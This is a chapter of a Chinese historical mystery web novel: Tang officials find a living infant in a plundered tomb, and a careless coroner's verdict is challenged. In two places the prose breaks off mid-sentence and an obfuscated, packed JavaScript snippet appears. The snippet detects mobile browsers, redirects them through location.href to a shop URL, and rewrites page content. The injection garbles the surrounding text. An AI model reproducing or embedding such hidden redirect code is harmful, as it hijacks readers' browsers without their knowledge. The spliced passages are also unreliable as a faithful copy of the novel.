众人的目光不自觉移向墓碑,黑漆的名字彻底打破表面的平静。 既是亡者遗物,又为何流落在外? 几人的目光齐刷刷望向坑洞。 如此狭小的洞口,真是盗墓贼挖出的盗洞? “盗墓多为团伙作案,按理他应有同伴相助,其他人呢?而且他跑什么?未卜先知各位长官要来抓人?” 姜姝不解的疑问引起在场之人的深思。 杜斌不假思索回道:“真是笨,同伙肯定还在下面啊。” 突然,他似想到什么般,脸上血色尽褪,艰难地咽了口唾沫,颤声道:“婴灵夺命?” 裴怀从不信鬼神之说,他更倾向于母体逝世后,婴儿幸运出生,就像那时...... 他扯了扯嘴角,冷不丁发问:“杜参军,大唐律法中对盗墓贼如何判刑?” 骤然被考察学问,还是在这种情况下,杜斌愣了几秒,不懂其用意所在。 他小心翼翼回道:“诛发冢者,加役流;已开棺椁者,绞;发而未砌者,徒三年;虽发冢,而未至棺椁者,徒三年,放至远方。”① 言至于此,杜斌顿了顿,瞟了眼孔武手中的披帛,继续道:“其冢先穿及未殡而盗尸柩者,徒两年半;盗衣服者,减一等;器物、砖、版者,以凡盗论。”② 他逐渐回过味来,裴少卿是打算捉贼捉脏,下墓堵人。 杜斌头摇得跟拨浪鼓似的,赔笑道:“裴少卿,卑下......”话刚开头,他又想到自己此行的目的是将功折罪,便顺着裴怀的意图,咬牙主动请缨下墓探查。 裴怀只当没看见他哆哆嗦嗦的样子,点头答应。 “霍力,你留下照看老伯。” 他的视线转移到一旁等待的姜姝,只见她双眸发亮,脸上写满了期待,整个人不由自主地前倾。 裴怀眯了眯眼,沉吟片刻道:“姜小娘子也一并下去认认人吧!” 几人各司其职,孔武顺着坑洞挖了几铲子。 “咦?” 向来喜怒哀乐不形于色的孔武,满脸惊诧地放下手中的铲子。 他指着洞口道:“郎君,外窄内宽,障眼法。” 无需再多挖,现成的盗洞显露于人前,宽度勉强能通人,四人依次进入。 走在最后面的姜姝,频频回首,目光流连在规整的土壁上。 她的内心被无数问号刷屏,真的被盗了?还是她记忆出现错乱,当时就是刨的这么大个洞? 【怎么又来一拨人?】 【这哪是墓啊,分明菜市场嘛! 】 【他们能带走混世小魔头不?我的耳朵工伤了!】 【呜呜呜呜呜呜呜——】 镇墓兽的心声无疑为姜姝解了惑,真有人步她后尘下到墓里。 她随口胡诌的借口,真的应验了? 火把橘红的光照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536665|203299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不亮无边黑夜,只能勉强勾勒出墓道的轮廓,众人鼻尖皆充斥着厚重的土腥气。 寂静,无边的死寂在众人急促的心跳和缓慢的步伐之间漫开。 一阵婴儿哭声乍然响起,那声音忽远忽近,时而像从土壁间隙中渗出,时而又像从地底缓缓浮上来。每个音节都带着诡异的颤抖,尾音拖得很长,倏尔在某个高音处断裂,仿佛啼哭中的婴儿被人猛地捂住嘴般。 几息后,哭声再度响起,手持的火把光随着断断续续的哭声明明灭灭摇晃,让人分不清是风在逗弄火苗,还是有什么东西随着哭声正步步逼近。 四人越靠越近,逐渐呈现背靠背姿态,皆警惕地望向虚空,生怕黑暗里蹦出个陌生人或物来。 姜姝更多一层疑惑,她满打满算就离开一天的工夫,这个墓里就发生翻天覆地的变化。 一切都好似朝着未知的方向疾驰而去。 不对,姜姝心里一咯噔,巨大的恐慌席卷她全身。 婴儿还活着吗? 她顾不上害怕,脚下生风,越过众人径直朝黑暗深处的地宫走去。 紧挨她的裴怀,第一时间察觉她的动作,下意识想拉住她,却扑了个空。 裴怀没有丝毫犹豫,立马举步跟上。 两簇灯火相伴相随飘远,至一灯如豆,至湮灭于黑暗。 孔武见自家郎君消失不见,心里着急,想快步赶上,却被瑟瑟发抖的杜斌死死拽住衣袖,寸步难行。 等孔武拖着杜斌,一路有惊无险抵达地宫时,眼前凌乱的景象令他触目惊心。 诚如守墓老人所言,地宫内装饰并不奢靡,甚至可以说是寒酸。 陪葬品箱数虽多但物品常见,此时皆半开着,几件华服和钗环挂在箱子边缘摇摇欲坠,像是犹豫要不要跳出去。有一些已经溜到地上,或蜷缩在箱脚,或滚出两三步远,巾巾吊吊(川渝方言:条状物凌乱悬挂)纠缠在一起。 且九成绫罗绸缎和珠宝首饰皆是旧物,大抵是温夫人生前所用,全被滥竽充数放在这里。 至于冥器,除了四尊镇墓兽外,再无其他。 “注意脚下。” 听到裴怀的提醒,孔武和杜斌一致朝地面看去。 到处都是脚印,大的,小的,深的,浅的,脚印叠着脚印。 又有无数羊毛混杂其中,有的根部甚至连皮带肉,湿漉漉地黏在一块,每一团红白都扎得人眼眶发疼。 根本无处下脚。 且血腥味羊膻味在不流通的墓室内不断发酵,空气浑浊难闻。杜斌更是反应剧烈,不停干呕。 早先进来的姜姝和裴怀,背对着人,站在棺椁前一动不动。 孔武担心俩人撞上不干净的东西,大着胆子踮脚靠近,眼前的景象令他瞠目结舌。 木制棺材口大敞,封顶用的盖早已不翼而飞。有个白白胖胖的婴儿躺在里面,正睁着黑亮的眼睛望着他们这些不速之客。 似瞧到兴头,他又咧开红艳艳的小嘴,边流口水边咯咯咯笑,眼角还噙着大哭后的生理性泪水。 看他活力满满的样子,姜姝按着狂跳的胸口如释重负。 饶是她早有心理准备,进来看到满地狼藉血污时,还是不由得心脏漏跳一拍。 幸好,幸好孩子没事。 此刻,生与死在这方小小的天地里泾渭分明。 7.陈恪礼 姜姝抱起婴儿,接过裴怀递来的温夫人的衣裳,仔细将他裹好,充满爱怜的轻轻摇晃逗弄。 婴儿咯咯咯笑着,姜姝心里却是沉甸甸的。 她刚弯腰入棺抱孩子时,清楚看见横陈一旁的脐带断裂伤口,是人的齿痕。 “她在笑! ” 杜斌惊恐的喊叫将几人的视线再次拉回棺内,他指着的是早登极乐的墓主人——温夫人温采蓉。 春季的山里,气温较低,尸体下葬经两三天仍不腐。 未被殓服遮住的皮肤肉色微青(尸绿),只是嘴角那抹微笑,怎么看都瘆人得慌。 “怪物!” 杜斌心理防线彻底崩溃,他扑上来,试图从姜姝怀里抢走孩子,然后直接摔死,以绝后患。 下墓以来的桩桩件件见闻,无不在刺激杜斌的神经。 他甚至已不在乎革职问责,只想赶紧逃离这诡谲离奇的地下墓穴。 至于那些留下遍布墓穴脚印的盗墓贼们,他根本不关心他们藏去哪了。 他癫狂的模样,逼得姜姝抱着婴儿左右躲闪,并尝试言语开解:“杜参军,冷静,这孩子有体温,有心跳,有呼吸,他是活人!” “是活的才更可怕。” 杜斌吼着,母体死亡,婴儿却平安降生,此时粉雕玉琢的孩子在他眼里如同索命厉鬼,在世修罗。 裴怀和孔武费了九牛二虎之力才制服住突然发疯,变得力大无穷的杜斌。 杜斌被反剪了双手,仍梗着脖子,死死盯着婴儿不放,嘴里不停念叨着:“怪物,怪物,都是怪物。” 孔武手起掌落劈晕了他,周遭顿时安静下来。 “先出去吧,等仵作来。” 堪比凶案现场的墓内,哪怕再迟钝的人,也能瞧出些不对劲来。 无人反对,皆依裴怀所言静静退出墓穴。 在外留守的霍力,正扣手打发时间。听到坑洞那传来声响,立马起身迎了上去。 他见走在最前面的姜姝怀里果真抱着个婴儿,凑上来轻戳着婴儿柔软细嫩的小脸,感慨道:“还真是福大命大的娃。” 转头又见孔武背着昏迷不醒的杜斌,十分诧异:“杜参军这是怎么了?下面很多盗墓贼吗?” 霍力边说边往后看,自家郎君最后一个出来,之后再无一人走出墓道。 他好奇问道:“那黑影的同伙呢?” 裴怀直接转移话题:“速回大理寺叫人,顺道通知温家。” 他眼角余光瞥见睡得香甜的婴儿,顿了顿,补充道:“算了,找个嘴严的仵作就行,至于温家,就寻陈恪礼来。” 霍力领命离去后,姜姝才发现守墓老人站得远远的,望着他们欲言又止。 磨蹭许久,才鼓足勇气靠近,小声询问裴怀:“裴少卿,下面可是真有盗墓贼?” 看出老人的担心害怕,裴怀果断否定道:“放心吧,老人家,下面除了这个孩子,再无其他活物了。” 老人脸色瞬间煞白,嘴里呢喃着:“那就好,没有盗墓的就好。” 姜姝将一切都看在眼里,觉得守墓老人的反应有点奇怪。但考虑到他年龄大了,难免对鬼神之说更加敬畏,也就没放在心上。 时间在三人轮流带婴儿期间悄然流逝着,不知过了多久,天光大亮。 朝阳毫不吝啬自己的光芒,普照万物,与之而来的是霍力咋咋呼呼的声音。 “哎呀,走快点嘛,要不我也提溜着你走?” 姜姝等人循声看去,只见霍力左手半拖半抱着个中年男人。 男人着一身灰袍,肩挎个大木箱子,脸上全是被拖着走的痛苦与敢怒不敢言。 而被霍力口头嫌弃的是个气质儒雅的年轻男子,着一身素白织锦圆领长袍,浑身上下未佩戴任何饰物。 男子脸上因爬山泛起潮红,嘴唇却透着惨白,额角流淌着细细密密的冷汗,他也未接受霍力的建议,咬牙硬挺着。 待见到裴怀,男子恭敬地拱手作揖:“裴少卿,请容学生先为拙荆上坟烧香。” 说完他径直朝着西北角落而去,姜姝才猛然意识到这个男人是温夫人的夫婿——陈恪礼。 “咚——”有东西重重砸在地上,是陈恪礼手中从不假手于人的篮子,里面的香烛、纸钱、祭品等散落一地。 “裴少卿,拙荆的墓......” 他指着坟茔的手颤抖,白皙的脸上红晕更甚,语带哭腔询问道。 “有宵小误闯尊夫人的墓,大理寺必会全力追捕盗贼,还望陈郎君节哀......” 裴怀话没说完,陈恪礼就掩面哀哀痛哭起来,声音里的悲怆令人心里堵得慌。 熟睡的婴儿也被惊醒,追着素未谋面的耶耶(父亲)步伐,放声嚎哭。 一大一小二重奏,在场几人皆沉默着无一人打断。 或许这就是父子连心,在共同在为生命中至关重要的女子哀悼。 等陈恪礼情绪发泄得差不多了,姜姝才抱着孩子上前,道:“陈郎君,苍天垂怜,你与尊夫人的羁绊仍在。” 陈恪礼不明就里,一双哭得通红的双眼,略带茫然地望着眼前抱着婴儿的小娘子。 “他很健康,也很听话,你会好好爱他的,对吗?” 一名陌生女娘,抱着个婴儿,当着他家蓉儿的面,说些似是而非的话,意欲何为? 更何况谁人不知他不光丧妻,还一同丧子。 陈恪礼怒从心头起,声影又冷又硬:“还望小娘子自重!” 姜姝这才想起自己还未向他介绍孩子的来历,连忙解释:“这是你与温夫人的孩子。 ” 她在说什么,我与蓉儿的孩子?那蓉儿呢? 陈恪礼半个眼神都没分给血脉相连的婴儿,满脸希冀地看着姜姝,急急追问:“那蓉儿呢?蓉儿肯定也活着,对吧!” 突然间姜姝不知该如何开口告诉他这个噩耗,他的蓉儿不仅没活,甚至可能是活着下葬的,在黑暗狭小的棺材里拼命诞下孩子,而后孤独死去。 他惊喜的表情在众人无声的寂静中僵硬,复强挤出抹微笑,道:“蓉儿爱玩,最爱与丫鬟仆妇们玩捉迷藏了……” 陈恪礼拼命找理由说服麻痹自己,直至再也无法自欺欺人,他猛地呕出口鲜血,直挺挺倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548932|203299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下去。 众人一阵兵荒马乱,抬人的抬人,哄孩子的哄孩子,略通医理的仵作被赶鸭子上架,临时改行当大夫。 好在陈恪礼只是伤心过度导致的晕厥,并无性命之危,众人的心才落回肚子里。 “每隔两个时辰喂一次奶,羊奶要加热,在手背试过不烫后再喂,每半个时辰左右检查更换尿布......” 姜姝仔细叮嘱着霍力,见他自己还是副稚气未脱的少年模样,实在不放心,又转身拜托守墓老人帮衬着些。 除开被动昏迷的杜斌外,姜姝、裴怀、孔武领着初来乍到的仵作,预备再次下墓。 仵作姓刘,家里世代从事仵作行业,族人遍布京畿各大衙门。 他在家族里齿序排行十三,认识之人皆称呼他为刘十三。 但他讨厌与死尸打交道,遇到案件时一般能避则避,实在躲不过,就找个族里后生一路,美名其曰是带徒弟。 今早裴少卿身边的侍从急吼吼地冲进来,见班房里只剩下他,二话不说拉着他就跑,一路风驰电掣赶到终南山。 听他们话里话外的意思,是要带他直接下墓验尸!? 刘十三的脸都绿了,难怪今天诸事不顺,上值路上被鸟屎砸头,开门手指被夹…… 他苦着张脸跟着进墓,积久不散的恶臭犹如当头一棒,熏得他找不到北。 地宫内烛火通明,一切都赤裸裸的暴露在光明之中。 “姜小娘子,烦请重述遍你们发现盗墓贼的过程。” 听到裴怀的问话,姜姝大脑飞速运转,将公堂上和昨晚的话结合起来又说了遍。 她一边说,一边直视裴怀的眼睛,表现得十分坦坦荡荡。 裴怀敛眸,对她的说法不置一词,背过手转身等待刘十三的验尸报告说明。 见他不说话,姜姝自顾自挪到棺材边,准备欣赏古代版法医现场验尸的过程,却不想一来就撞见仵作收工。 “这么快?”姜姝忍不住发出疑问。 刘十三压根没搭理她,抓起记录本就走:“裴少卿,死者乃是难产而亡。至于孩子,应是母体死亡后,在地水风火自然作用下,尸体膨胀起来,骨节缝松开,因而逐出腹内的胎儿。①” “几次?” 刘十三有些懵逼,几次?人只有一条命,还能几次? 他斩钉截铁道:“一次。” 这下裴怀的表情也变得耐人寻味起来,他看着刘十三,眼里闪过缕幽光。 “不,三次” “一次世俗意义上的难产而亡,一次谋杀,一次权威认定的自然死亡。” 姜姝心里出离愤怒,面上表情却越发沉静,她看着棺内笑靥如花的尸身,冷声道:“你根本就没认真检验,你不配,甚至辱没了仵作这个名头。” 她的话深深刺痛了刘十三,他是敷衍了事,但被当着上官面拆穿,他脸皮往哪放,嘴硬道:“这位小娘子是外行人,看不懂产生误解也正常,但切莫信口开河 。” 他故作大度的态度听得姜姝直犯恶心,索性撕破脸皮道:“那敢问内行人是凭什么断定温夫人是因难产而死?”